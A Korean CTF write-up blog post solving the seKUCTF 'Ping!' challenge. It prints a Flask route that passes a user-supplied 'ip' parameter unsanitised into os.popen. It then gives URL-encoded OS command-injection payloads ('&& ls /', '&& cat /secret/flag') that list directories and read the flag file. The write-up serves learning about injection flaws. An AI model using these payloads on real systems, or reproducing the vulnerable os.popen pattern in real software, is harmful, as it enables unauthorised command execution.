본문 바로가기
  • 안아주는 다람쥐
seKUCTF

[seKUCTF] Ping!

by Sapphire. 2023. 3. 22.

먼저 source에 들어가서 소스코드를 확인하라고 나와있다.

확인하기 위해서 /source 에 들어가서 확인을 해준다.

밑으로 내려서 확인을 해보니

/execute 라고 수상한 주소가 보인다.

@app.route('/execute')
def execute():
    directory = str(request.cookies.get('uniqueKey'))
    if checkHack(directory):
        return 'no hack ^__________^'
    createDirectory("/app/mypinguser/"+directory)

    ip_ = str(request.args.get('ip', ""))
    if not checkLenHack(ip_):
        return os.popen("cd /app/mypinguser/"+directory+" && ping -c 2"+ip_).read()
    else:
        return 'no hack ^__________^'
if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')

지금보니 execute의 인자값으로  ip를 받는것을 확인할 수 있고 ip 이전에  ping이라는 명령어를 실행하는걸 확인할 수 있다

여기서 자세히 확인해야 할점은 ip 인자값 앞에 뛰어쓰기를 안하면 +ip 가 되기 때문에 뛰어서 + ip가 되도록 써야한다.

그렇게 인자값을 넣어보면,

다음과 같이 ping 명령어가 실행된것을 볼 수 있다.

그럼 여기서 따로 뒤에 더 붙여서 다른 명령어를 실행하려고 해본다면?

최상위 디렉토리를 확인하기 위해 다음과 같이 

ip=%20121.156.161.190%20%26%26%20ls%20/ ( ip= 121.156.190 && ls /) 를 넣어보았다.

다음과 같이 최상위 디렉토리 목록이 나온다 저 secret 폴더가 수상해 보여서 secret 폴더를 열어보려고 해보았다.

ip=%20121.156.161.190%20%26%26%20ls%20/secret 을 넣어서 뭐가 있는지 확인했다.

저기 flag 파일이 보인다. 열어보기 위해 cat 명령어를 사용해준다.

ip=%20121.156.161.190%20%26%26%20cat%20/secret/flag

다음과 같이 플래그를 확인 할 수 있다.

 

플래그 : 

seKUCTF{@@D0nt_w0RRy_Th12_i2_e@sY_1_@@}

'seKUCTF' 카테고리의 다른 글

[seKUCTF] forcelogin1  (0) 2023.04.09
[seKUCTF] forcelogin 2  (1) 2023.04.09
linux 와일드카드란?  (0) 2023.03.21
OS Injection 이란?  (0) 2023.03.21
[seKUCTF] NewAPI  (0) 2023.03.15